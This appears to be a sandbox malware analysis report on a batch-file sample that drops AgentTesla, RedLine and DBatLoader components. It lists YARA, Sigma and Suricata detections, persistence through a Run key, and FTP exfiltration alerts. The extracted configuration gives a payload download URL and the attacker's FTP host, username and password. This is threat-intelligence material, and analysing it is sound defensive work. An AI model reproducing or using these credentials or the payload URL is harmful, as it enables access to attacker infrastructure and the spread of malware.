9.2.xrbjyllC.pif.299f0b8e.4.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3f224:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3f296:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3f320:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3f3b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3f41c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3f48e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3f524:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3f5b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.xrbjyllC.pif.299f0b8e.4.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x38ffa:$s2: GetPrivateProfileString 0x3c4d2:$s3: get_OSFullName 0x39728:$s5: remove_Key 0x39748:$s5: remove_Key 0x3c92f:$s6: FtpWebRequest 0x3f206:$s7: logins 0x3f778:$s7: logins 0x424cf:$s7: logins 0x4253b:$s7: logins 0x45714:$s7: logins 0x430d5:$s9: 1.85 (Hash, version 2, native byte-order)
11.2.xrbjyllC.pif.26b00b8e.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.xrbjyllC.pif.26b00b8e.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.xrbjyllC.pif.26b00b8e.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.xrbjyllC.pif.26b00b8e.5.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x3f224:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x3f296:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x3f320:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x3f3b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x3f41c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x3f48e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x3f524:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x3f5b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.xrbjyllC.pif.26b00b8e.5.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x38ffa:$s2: GetPrivateProfileString 0x3c4d2:$s3: get_OSFullName 0x39728:$s5: remove_Key 0x39748:$s5: remove_Key 0x3c92f:$s6: FtpWebRequest 0x3f206:$s7: logins 0x3f778:$s7: logins 0x424cf:$s7: logins 0x4253b:$s7: logins 0x45714:$s7: logins 0x430d5:$s9: 1.85 (Hash, version 2, native byte-order)
9.2.xrbjyllC.pif.299efca6.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.xrbjyllC.pif.299efca6.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.xrbjyllC.pif.299efca6.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xrbjyllC.pif.299efca6.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41f0c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41f7e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x42008:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4209a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x42104:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x42176:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4220c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4229c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.xrbjyllC.pif.299efca6.5.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3bce2:$s2: GetPrivateProfileString 0x3f1ba:$s3: get_OSFullName 0x3c410:$s5: remove_Key 0x3c430:$s5: remove_Key 0x3f617:$s6: FtpWebRequest 0x41eee:$s7: logins 0x42460:$s7: logins 0x451b7:$s7: logins 0x45223:$s7: logins 0x483fc:$s7: logins 0x45dbd:$s9: 1.85 (Hash, version 2, native byte-order)
9.2.xrbjyllC.pif.400000.2.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 39 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
11.1.xrbjyllC.pif.400000.3.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 39 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
11.2.xrbjyllC.pif.26ec0000.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.xrbjyllC.pif.26ec0000.7.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.xrbjyllC.pif.26ec0000.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.xrbjyllC.pif.26ec0000.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41f0c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41f7e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x42008:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4209a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x42104:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x42176:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4220c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4229c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.xrbjyllC.pif.26ec0000.7.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3bce2:$s2: GetPrivateProfileString 0x3f1ba:$s3: get_OSFullName 0x3c410:$s5: remove_Key 0x3c430:$s5: remove_Key 0x3f617:$s6: FtpWebRequest 0x41eee:$s7: logins 0x42460:$s7: logins 0x451b7:$s7: logins 0x45223:$s7: logins 0x483fc:$s7: logins 0x45dbd:$s9: 1.85 (Hash, version 2, native byte-order)
11.2.xrbjyllC.pif.26ec0000.7.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.xrbjyllC.pif.26ec0000.7.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.xrbjyllC.pif.26ec0000.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.xrbjyllC.pif.26ec0000.7.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x4010c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x4017e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x40208:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4029a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x40304:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x40376:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4040c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4049c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.xrbjyllC.pif.26ec0000.7.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x39ee2:$s2: GetPrivateProfileString 0x3d3ba:$s3: get_OSFullName 0x3a610:$s5: remove_Key 0x3a630:$s5: remove_Key 0x3d817:$s6: FtpWebRequest 0x400ee:$s7: logins 0x40660:$s7: logins 0x433b7:$s7: logins 0x43423:$s7: logins 0x465fc:$s7: logins 0x43fbd:$s9: 1.85 (Hash, version 2, native byte-order)
11.2.xrbjyllC.pif.26b00b8e.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.xrbjyllC.pif.26b00b8e.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.xrbjyllC.pif.26b00b8e.5.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.xrbjyllC.pif.26b00b8e.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41024:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41096:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x41120:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x411b2:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x4121c:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x4128e:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x41324:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x413b4:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.xrbjyllC.pif.26b00b8e.5.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3adfa:$s2: GetPrivateProfileString 0x3e2d2:$s3: get_OSFullName 0x3b528:$s5: remove_Key 0x3b548:$s5: remove_Key 0x3e72f:$s6: FtpWebRequest 0x41006:$s7: logins 0x41578:$s7: logins 0x442cf:$s7: logins 0x4433b:$s7: logins 0x47514:$s7: logins 0x44ed5:$s9: 1.85 (Hash, version 2, native byte-order)
17.2.xrbjyllC.pif.2212fca6.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.xrbjyllC.pif.2212fca6.4.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
17.2.xrbjyllC.pif.2212fca6.4.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.xrbjyllC.pif.2212fca6.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41f0c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41f7e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x42008:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4209a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x42104:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x42176:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4220c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4229c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
17.2.xrbjyllC.pif.2212fca6.4.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3bce2:$s2: GetPrivateProfileString 0x3f1ba:$s3: get_OSFullName 0x3c410:$s5: remove_Key 0x3c430:$s5: remove_Key 0x3f617:$s6: FtpWebRequest 0x41eee:$s7: logins 0x42460:$s7: logins 0x451b7:$s7: logins 0x45223:$s7: logins 0x483fc:$s7: logins 0x45dbd:$s9: 1.85 (Hash, version 2, native byte-order)
17.2.xrbjyllC.pif.400000.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 F3 88 44 24 2B 88 44 24 2F B0 39 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
9.2.xrbjyllC.pif.299efca6.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
9.2.xrbjyllC.pif.299efca6.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
9.2.xrbjyllC.pif.299efca6.5.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
9.2.xrbjyllC.pif.299efca6.5.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x4010c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x4017e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x40208:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4029a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x40304:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x40376:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4040c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4049c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
9.2.xrbjyllC.pif.299efca6.5.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x39ee2:$s2: GetPrivateProfileString 0x3d3ba:$s3: get_OSFullName 0x3a610:$s5: remove_Key 0x3a630:$s5: remove_Key 0x3d817:$s6: FtpWebRequest 0x400ee:$s7: logins 0x40660:$s7: logins 0x433b7:$s7: logins 0x43423:$s7: logins 0x465fc:$s7: logins 0x43fbd:$s9: 1.85 (Hash, version 2, native byte-order)
17.2.xrbjyllC.pif.2212fca6.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.xrbjyllC.pif.2212fca6.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
17.2.xrbjyllC.pif.2212fca6.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.xrbjyllC.pif.2212fca6.4.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x4010c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x4017e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x40208:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4029a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x40304:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x40376:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4040c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4049c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
17.2.xrbjyllC.pif.2212fca6.4.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x39ee2:$s2: GetPrivateProfileString 0x3d3ba:$s3: get_OSFullName 0x3a610:$s5: remove_Key 0x3a630:$s5: remove_Key 0x3d817:$s6: FtpWebRequest 0x400ee:$s7: logins 0x40660:$s7: logins 0x433b7:$s7: logins 0x43423:$s7: logins 0x465fc:$s7: logins 0x43fbd:$s9: 1.85 (Hash, version 2, native byte-order)
11.2.xrbjyllC.pif.26affca6.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
11.2.xrbjyllC.pif.26affca6.4.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
11.2.xrbjyllC.pif.26affca6.4.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
11.2.xrbjyllC.pif.26affca6.4.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x4010c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x4017e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x40208:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4029a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x40304:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x40376:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4040c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4049c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
11.2.xrbjyllC.pif.26affca6.4.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x39ee2:$s2: GetPrivateProfileString 0x3d3ba:$s3: get_OSFullName 0x3a610:$s5: remove_Key 0x3a630:$s5: remove_Key 0x3d817:$s6: FtpWebRequest 0x400ee:$s7: logins 0x40660:$s7: logins 0x433b7:$s7: logins 0x43423:$s7: logins 0x465fc:$s7: logins 0x43fbd:$s9: 1.85 (Hash, version 2, native byte-order)
17.2.xrbjyllC.pif.22680000.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
17.2.xrbjyllC.pif.22680000.6.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
17.2.xrbjyllC.pif.22680000.6.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
17.2.xrbjyllC.pif.22680000.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x41f0c:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x41f7e:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x42008:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x4209a:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x42104:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x42176:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x4220c:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x4229c:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
17.2.xrbjyllC.pif.22680000.6.raw.unpack	MALWARE_Win_AgentTeslaV2	AgenetTesla Type 2 Keylogger payload	ditekSHen	0x3bce2:$s2: GetPrivateProfileString 0x3f1ba:$s3: get_OSFullName 0x3c410:$s5: remove_Key 0x3c430:$s5: remove_Key 0x3f617:$s6: FtpWebRequest 0x41eee:$s7: logins 0x42460:$s7: logins 0x451b7:$s7: logins 0x45223:$s7: logins 0x483fc:$s7: logins 0x45dbd:$s9: 1.85 (Hash, version 2, native byte-order)
3.2.x.exe.31c0000.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
Click to see the 198 entries

Sigma Signatures

System Summary

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Source: File created

Author: frack113, Nasreddine Bencherchali: Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\x.exe, ProcessId: 4888, TargetFilename: C:\Windows \SysWOW64\NETUTILS.dll

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: C:\Users\Public\Libraries\xrbjyllC.pif, CommandLine: C:\Users\Public\Libraries\xrbjyllC.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\xrbjyllC.pif, NewProcessName: C:\Users\Public\Libraries\xrbjyllC.pif, OriginalFileName: C:\Users\Public\Libraries\xrbjyllC.pif, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\x.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\x.exe, ParentProcessId: 4888, ParentProcessName: x.exe, ProcessCommandLine: C:\Users\Public\Libraries\xrbjyllC.pif, ProcessId: 4544, ProcessName: xrbjyllC.pif

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\Public\Cllyjbrx.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\x.exe, ProcessId: 4888, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Cllyjbrx

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 172.67.74.152, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Users\Public\Libraries\xrbjyllC.pif, Initiated: true, ProcessId: 4544, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49732

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Cllyjbrx.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\x.exe, ProcessId: 4888, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Cllyjbrx

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\Public\Libraries\xrbjyllC.pif, CommandLine: C:\Users\Public\Libraries\xrbjyllC.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\xrbjyllC.pif, NewProcessName: C:\Users\Public\Libraries\xrbjyllC.pif, OriginalFileName: C:\Users\Public\Libraries\xrbjyllC.pif, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\x.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\x.exe, ParentProcessId: 4888, ParentProcessName: x.exe, ProcessCommandLine: C:\Users\Public\Libraries\xrbjyllC.pif, ProcessId: 4544, ProcessName: xrbjyllC.pif

Suricata Signatures

ET MALWARE AgentTesla Exfil via FTP

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T08:35:22.962696+0100	2029927	1	A Network Trojan was detected	192.168.2.4	49744	110.4.45.197	21	TCP
2024-10-30T08:35:39.357736+0100	2029927	1	A Network Trojan was detected	192.168.2.4	49753	110.4.45.197	21	TCP

ETPRO MALWARE Agent Tesla CnC Exfil Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-30T08:35:23.900856+0100	2855542	1	A Network Trojan was detected	192.168.2.4	49747	110.4.45.197	54601	TCP
2024-10-30T08:35:23.907031+0100	2855542	1	A Network Trojan was detected	192.168.2.4	49747	110.4.45.197	54601	TCP
2024-10-30T08:35:40.260221+0100	2855542	1	A Network Trojan was detected	192.168.2.4	49754	110.4.45.197	63940	TCP
2024-10-30T08:35:40.266852+0100	2855542	1	A Network Trojan was detected	192.168.2.4	49754	110.4.45.197	63940	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: z1Transaction_ID_REF2418_cmd.bat	Malware Configuration Extractor: DBatLoader {"Download Url": ["https://himalayastrek.com/origins/233_Cllyjbrxmng"]}
Source: 11.2.xrbjyllC.pif.26ec0ee8.6.raw.unpack	Malware Configuration Extractor: Agenttesla {"Exfil Mode": "FTP", "Host": "ftp://ftp.haliza.com.my", "Username": "origin@haliza.com.my", "Password": "JesusChrist007$"}

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Libraries\Cllyjbrx.PIF	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\x.exe	ReversingLabs: Detection: 31%

Multi AV Scanner detection for submitted file

Source: z1Transaction_ID_REF2418_cmd.bat

ReversingLabs: Detection: 23%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\Public\Libraries\xrbjyllC.pif	Unpacked PE file: 9.2.xrbjyllC.pif.400000.2.unpack
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Unpacked PE file: 11.2.xrbjyllC.pif.400000.2.unpack
Source: C:\Users\Public\Libraries\xrbjyllC.pif	Unpacked PE file: 17.2.xrbjyllC.pif.400000.1.unpack

Source: unknown	HTTPS traffic detected: 50.116.93.185:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 50.116.93.185:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 50.116.93.185:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.4:49752 version: TLS 1.2

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: x.exe, x.exe, 00000003.00000002.1750879233.0000000020F1D000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1668677681.000000007FB90000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000002.1755317512.000000007F220000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1695656562.000000007EF50000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000002.1725659576.00000000031EE000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000002.1750879233.0000000020EED000.00000004.00001000.00020000.00000000.sdmp, x.exe, 00000003.00000003.1667912373.000000007FE00000.00000004.00001000.00020000.00000000.sdmp, xrbjyllC.pif, 00000009.00000001.1719718721.0000000000820000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 0000000B.00000001.1826572703.00000000007D0000.00000040.00000001.00020000.00000000.sdmp, xrbjyllC.pif, 00000011.00000001.1996288631.00000000007D0000.00000040.00000001.00020000.00000000.sdmp
